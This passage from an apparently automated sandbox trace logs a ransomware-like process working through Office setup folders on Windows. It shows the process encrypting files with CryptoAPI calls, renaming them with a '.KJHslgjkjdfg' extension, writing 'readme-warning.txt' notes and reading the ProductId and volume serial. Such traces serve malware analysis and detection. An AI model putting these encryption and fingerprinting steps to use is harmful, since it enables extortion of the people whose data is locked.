shared\\office14\\office setup controller\\office.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.570] CloseHandle (hObject=0x13c) returned 1 [0143.570] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.570] GetProcessHeap () returned 0x2a0000 [0143.570] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.570] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.570] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.571] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.571] GetProcessHeap () returned 0x2a0000 [0143.571] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.571] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.571] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.571] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.571] GetProcessHeap () returned 0x2a0000 [0143.571] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0143.571] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.571] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0143.571] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.571] GetProcessHeap () returned 0x2a0000 [0143.571] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.571] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.571] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.571] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.571] GetProcessHeap () returned 0x2a0000 [0143.571] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.571] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.571] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.571] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.572] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.572] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.572] RegCloseKey (hKey=0x13c) returned 0x0 [0143.572] GetProcessHeap () returned 0x2a0000 [0143.572] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.572] GetProcessHeap () returned 0x2a0000 [0143.572] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.572] GetProcessHeap () returned 0x2a0000 [0143.572] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.572] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.572] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.572] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.572] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.572] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.573] GetProcessHeap () returned 0x2a0000 [0143.573] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.573] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.573] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.573] GetProcessHeap () returned 0x2a0000 [0143.573] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0143.573] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\readme-warning.txt") returned 111 [0143.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.573] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.574] CloseHandle (hObject=0x13c) returned 1 [0143.575] GetProcessHeap () returned 0x2a0000 [0143.575] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0143.575] GetProcessHeap () returned 0x2a0000 [0143.575] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0143.575] GetProcessHeap () returned 0x2a0000 [0143.575] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.575] GetProcessHeap () returned 0x2a0000 [0143.575] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.575] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.575] GetProcessHeap () returned 0x2a0000 [0143.575] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.575] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0143.575] GetProcessHeap () returned 0x2a0000 [0143.575] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xce) returned 0x2ed148 [0143.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.576] GetProcessHeap () returned 0x2a0000 [0143.576] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.577] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0143.577] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0143.577] GetProcessHeap () returned 0x2a0000 [0143.577] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2d0) returned 0x2f7730 [0143.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.578] GetProcessHeap () returned 0x2a0000 [0143.578] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.578] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.578] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.578] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x9, lpOverlapped=0x0) returned 1 [0143.581] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.581] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.581] GetProcessHeap () returned 0x2a0000 [0143.581] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.581] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.581] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.581] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.581] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.582] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.582] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.582] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.582] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.582] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.582] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.582] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.582] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x567, lpOverlapped=0x0) returned 1 [0143.582] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x570, dwBufLen=0x570 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x570) returned 1 [0143.582] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.582] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x570, lpOverlapped=0x0) returned 1 [0143.582] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.583] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.583] SetEndOfFile (hFile=0x13c) returned 1 [0143.585] GetProcessHeap () returned 0x2a0000 [0143.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.585] GetProcessHeap () returned 0x2a0000 [0143.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.kjhslgjkjdfg")) returned 1 [0143.586] CloseHandle (hObject=0x13c) returned 1 [0143.586] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.587] GetProcessHeap () returned 0x2a0000 [0143.587] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.587] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.587] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.587] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x6, lpOverlapped=0x0) returned 1 [0143.589] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.589] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.589] GetProcessHeap () returned 0x2a0000 [0143.589] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.589] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.589] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.589] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.589] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.589] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.589] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.590] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.590] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.590] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.590] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.590] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.590] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x93a, lpOverlapped=0x0) returned 1 [0143.590] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x940, dwBufLen=0x940 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x940) returned 1 [0143.590] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.590] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x940, lpOverlapped=0x0) returned 1 [0143.590] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.590] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.590] SetEndOfFile (hFile=0x13c) returned 1 [0143.593] GetProcessHeap () returned 0x2a0000 [0143.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.593] GetProcessHeap () returned 0x2a0000 [0143.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.617] CloseHandle (hObject=0x13c) returned 1 [0143.617] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.617] GetProcessHeap () returned 0x2a0000 [0143.617] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.617] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.618] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.618] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.618] GetProcessHeap () returned 0x2a0000 [0143.618] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.618] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.618] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.618] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.618] GetProcessHeap () returned 0x2a0000 [0143.618] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0143.618] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.618] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0143.618] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.618] GetProcessHeap () returned 0x2a0000 [0143.618] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.618] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.618] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.618] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.618] GetProcessHeap () returned 0x2a0000 [0143.618] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.618] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.618] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: 